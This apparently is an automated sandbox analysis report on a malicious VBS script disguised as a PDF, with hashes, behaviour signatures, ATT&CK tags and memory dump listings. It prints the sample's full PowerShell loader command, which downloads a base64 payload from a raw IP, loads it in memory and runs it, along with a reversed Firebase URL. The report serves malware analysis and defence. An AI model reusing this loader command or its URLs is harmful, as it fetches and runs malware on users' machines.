b14185efe4b54d71feffe4dc964419b4639048efc50bb5f19c28e7d561263331

Analysis

max time kernel
42s
max time network
46s
platform
windows7_x64
resource
win7-20220812-en
resource tags

arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
submitted
23-11-2022 14:40

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General

Target

TW03GBVSFS0PDHS_001_PDF.vbs
Size

209KB
MD5

4a83206f2fe5b8c48d5fca63c420908c
SHA1

a2b534aa07ebaa3b452a1f4a9b05b6cd1b2c842f
SHA256

d88fc6590c4f50373cce292ca245fa77c0a3cecbab48564b8ef70c1051aa0aa6
SHA512

14e8a5a6f52bd2a5febe14669b242a38dc75567898e82c5bcaf3d3ef6173eecc14a486e9a4e9055bd55592d28eff24e6691dd7c41f3063ee679d56376caa0859
SSDEEP

96:i5fU56Igx1Ua7fLhwMwQgI5mPZFotzeSx8iamzdtaP1joXGhsS0:yfU0Igx1Ua7fLhwMwrI8PLotzeSx8i7Z

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://4.204.233.44/Dll/Dll.ppam

Signatures

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

3 2028 powershell.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2028 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2028 powershell.exe

flow	pid	process
3	2028	powershell.exe

pid	process
2028	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2028	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

WScript.exe

description	pid	process	target process
PID 816 wrote to memory of 2028	816	WScript.exe	powershell.exe
PID 816 wrote to memory of 2028	816	WScript.exe	powershell.exe
PID 816 wrote to memory of 2028	816	WScript.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\TW03GBVSFS0PDHS_001_PDF.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:816

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Byte[]] $rOWg = [system.Convert]::FromBase64string((New-Object Net.WebClient).DownloadString('http://4.204.233.44/Dll/Dll.ppam'));[System.AppDomain]::CurrentDomain.Load($rOWg).GetType('Fiber.Home').GetMethod('VAI').Invoke($null, [object[]] ('6ff9921f9d0d-2e39-a324-1bf0-c9100279=nekot&aidem=tla?txt.61ufs/o/moc.topsppa.de23d-1cjj/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth'))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/816-54-0x000007FEFB731000-0x000007FEFB733000-memory.dmp

Filesize
8KB

Download
memory/2028-55-0x0000000000000000-mapping.dmp

Download
memory/2028-57-0x000007FEF3AA0000-0x000007FEF44C3000-memory.dmp

Filesize
10.1MB

Download
memory/2028-58-0x000007FEF2F40000-0x000007FEF3A9D000-memory.dmp

Filesize
11.4MB

Download
memory/2028-59-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/2028-60-0x000000001B750000-0x000000001BA4F000-memory.dmp

Filesize
3.0MB

Download
memory/2028-61-0x00000000025EB000-0x000000000260A000-memory.dmp

Filesize
124KB

Download
memory/2028-62-0x00000000025E4000-0x00000000025E7000-memory.dmp

Filesize
12KB

Download
memory/2028-63-0x00000000025EB000-0x000000000260A000-memory.dmp

Filesize
124KB

Download